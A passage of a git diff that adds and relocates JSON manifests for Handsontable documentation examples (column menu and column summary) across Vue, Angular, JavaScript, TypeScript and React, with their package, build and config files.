\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-menu/vue/example1.vue","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example2.vue.json new file mode 100644 index 00000000..4c021feb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column menu · Plugin configuration · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-menu/vue/example2.vue","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-moving__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example8.ts.json new file mode 100644 index 00000000..b00e8db7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__angular__example8.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column summary · Set up column summaries, using a function (3) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example8',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [[0, 1, 2], ['3c', '4b', 5], [], []];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-summary/angular/example8.ts","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example8","exampleTitle":"Set up column summaries, using a function (3)","docPermalink":"/column-summary","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example10.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example10.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example10.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example10.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example10.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example10.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example10.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example10.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.js.json new file mode 100644 index 00000000..9518867f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column summary · Throw data type errors · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example11');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [[0, 1, 2], ['3c', '4b', 5], [], []],\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-summary/javascript/example11.js","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.ts.json new file mode 100644 index 00000000..1ce833b5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example11.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column summary · Throw data type errors · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example11')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [[0, 1, 2], ['3c', '4b', 5], [], []],\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n // enable throwing data type errors for this column summary\n suppressDataTypeErrors: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-summary/javascript/example11.ts","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example12.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example12.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example12.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example12.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example12.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example12.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example12.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example12.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example7.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example7.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example7.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example8.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example8.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example8.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example8.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example8.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example8.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example8.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example9.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example9.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example9.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example9.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example9.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example9.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example9.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__javascript__example9.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example10.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example10.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example10.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example10.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example11.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example11.tsx.json new file mode 100644 index 00000000..1dfee572 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example11.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column summary · Throw data type errors · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example11\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-summary/react/example11.tsx","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example12.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example12.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example12.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example12.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example2.tsx.json 